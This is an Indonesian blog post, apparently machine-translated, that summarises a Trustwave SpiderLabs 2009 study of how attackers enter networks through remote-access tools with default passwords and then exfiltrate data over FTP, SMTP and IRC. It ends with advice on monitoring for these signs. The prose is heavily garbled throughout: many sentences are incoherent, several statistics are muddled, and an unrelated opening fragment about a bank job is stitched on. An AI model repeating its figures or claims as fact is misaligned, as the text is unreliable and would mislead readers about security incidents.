Setelah saya dipekerjakan untuk bekerja sementara di salah satu bank besar. Sepanjang minggu, aku menghabiskan sana, aku jatuh dalam umum tanpa peta, dan kemudian menemukan terkunci sama sekali di pintu penguncian sederhana yang menuju ke ruang yang sama

Tentang hacker

2011-03-28T07:58:00.000+07:00

Kebanyakan orang berpikir bahwa hacker harus dicegah, tapi begitu Anda hacking ke internal, bagaimana mereka mendapatkan data keluar Trustwave SpiderLabs perusahaan penelitian menunjukkan? kepada kita jawabannya sering sangat sederhana.

Cyber penjahat untuk menyerang metode ini menjadi lebih kompleks. Kami juga cenderung untuk menyelinap ke metode ini setara dengan data. Meskipun perangkat selular atau pencuri fisik juga dapat digunakan, namun data yang biasanya menyelinap masuk ke atau saluran output dalam jaringan data pada sistem yang terjadi selama replikasi.

SpiderLabs 2009 24 tahun dari 200 negara yang berbeda, data kejanggalan diselidiki. Meskipun lingkungan jaringan bagi penjahat untuk mendapatkan data dari ketidakpatuhan dalam banyak hal, tetapi mereka sering metode invasif dari lingkungan melalui akses jarak jauh ke target perusahaan yang menggunakan aplikasi. Dalam survei SpiderLabs, 45% pelanggaran yang meninggalkan sistem karena aplikasi akses remote telah pelanggaran. Dan bukan merupakan kerentanan zero-day atau kerentanan aplikasi yang kompleks, serangan fenomena staf TI dan CEO terlihat keluar saat sambungan terpencil di jaringan tidak banyak perbedaan. Seorang penyerang tidak perlu mengakses kekerasan ke rekening. SpiderLabs menemukan bahwa 90% dari serangan berhasil karena default pemasok atau password mudah ditebak, seperti "temp: temp" atau "admin: Nimda".

Setelah mendirikan pijakan, penyerang sering dikutip penggunaan alat jaringan. Internet penyerang sering dikutip alat yang digunakan untuk menggali target yang sama atau lain dalam lingkungan sistem temu kembali informasi yang digunakan, seperti nama pengguna, hak akses grup, berbagi jaringan, dan layanan yang tersedia. Jika alat yang tercantum untuk mengumpulkan kebisingan dapat dikesampingkan kemungkinan serangan. Lebih buruk lagi, kami menemukan bahwa agen-agen sebagian besar tidak benar memonitor sistem mereka, itu tidak bisa menyadari fenomena ini.

Sebagai alat, yang memungkinkan penyerang untuk masuk ke rangkaian melalui sistem properti hotel otentik pribadi lainnya. Penjahat kemudian gunakan sambungan internal, sehingga distribusi fisik situs tersebut data yang tersebar adalah ilegal.

Setelah penyerang untuk mendapatkan akses ke perusahaan target, mereka akan menggunakan manual atau metode pengumpulan data otomatis. Gunakan metode manual dapat mencuri database rentan dan file, menggunakan kata kunci untuk lebih menentukan sistem operasi tertentu, data dapat dilakukan pencarian.

metode otomatis adalah menulis malware secara khusus, penggunaan aplikasi yang menangani celah informasi rahasia dalam kontrol keamanan untuk mencapai tujuan mereka. Secara umum, desain keselamatan banyak aplikasi tidak berlaku untuk kontrol lain, komponen pengolahan data-fungsi alarm tidak jelas. Meskipun data tersebut diproses oleh sistem target, namun dapat menerima, menyimpan data dienkripsi dan hulu transmisi data ke sistem host target rentan terhadap pelanggaran data. Hal ini karena sistem untuk mengolah data harus didekripsi ke RAM, agar aplikasi dapat digunakan. Dalam proses ini, berkali-kali pada tahun 2009 cybercriminals menggunakan parser RAM. 67% dari penyelidikan SpiderLabs dan perangkat lunak berbahaya yang terkait, bahwa alat bantu otomatis digunakan untuk mendapatkan data non-RAM.

Bagaimana menangani

Rata-rata, penjahat cyber akses ke sistem target atau waktu akses data adalah 156 hari. Selama waktu ini, penyerang ke lingkungan, set alat-alat mereka untuk memindahkan data dan TI personil atau departemen untuk tindakan mereka untuk memperoleh data sebelum mengambil tindakan. Beberapa survei 2009, penjahat cyber beberapa sering kegiatan sering dalam waktu tiga tahun. 2009, khas pengujian jangka panjang, tampaknya mereka juga menggunakan beberapa pengetahuan tentang kegiatan penjahat cyber tidak terlihat.

Dalam 38 kasus, penjahat cyber menggunakan program akses remote untuk memfasilitasi pertama kali ke dalam data diekstraksi. layanan yang telah ada lainnya, seperti FTP klien lokal dan fungsi HTTP, juga sering digunakan untuk kebocoran data. Terutama ketika perangkat lunak berbahaya digunakan ketika data kebocoran, FTP, SMTP, dan fungsi IRC akan secara teratur diamati. Dalam analisis khusus dari perangkat lunak berbahaya untuk membalikkan proses, biner akan mengungkapkan adanya fungsi FTP, termasuk alamat IP keras-kode dan sertifikat. Dengan perangkat lunak berbahaya siap pakai seperti keystroke logger, penyerang sering menggunakan built-in FTP dan email fungsi data kebocoran. Ketika layanan mail akan digunakan untuk mengambil data, penyerang sering akan menginstal server SMTP berbahaya langsung mengalami pelanggaran sistem untuk memastikan bahwa data dapat ditransmisikan dengan baik.

Hanya kasus-kasus individu saluran kebocoran data menggunakan enkripsi untuk lebih lanjut menunjukkan bahwa penjahat tidak peduli tentang keberadaan peringatan. Karena keberadaan layanan jaringan lokal yang tersedia, dan kurangnya sistem ekspor yang sesuai filter dan deteksi menggunakan cara yang tidak sesuai, penjahat sering menggunakan layanan jaringan yang tersedia atau menginstal layanan mereka sendiri dasar.

Jelas, dalam semua kasus, data sensitif ditransfer ke luar lingkungan sasaran. Dalam proses ini, tim keamanan TI tidak akan dipantau timbulnya kebocoran data.

Ketika mencari tanda-tanda serangan, tim keamanan TI tampaknya mengharapkan situasi yang kompleks. Penyerang seringkali sangat sederhana, mungkin bahkan meninjau rutin kinerja log sebagai "jinak." Data tidak meninggalkan lingkungan target, itu tidak akan menjadi indikasi bahwa pelanggaran. perhatian Dekat dengan sistem "standar" perilaku "normal" Kegiatan ini penting untuk menghindari langkah-langkah perbaikan. Perspektif harus curiga setiap perilaku abnormal dan praktek melalui penyelidikan internal untuk memecahkan masalah, jika perlu, ahli eksternal juga harus ulangan.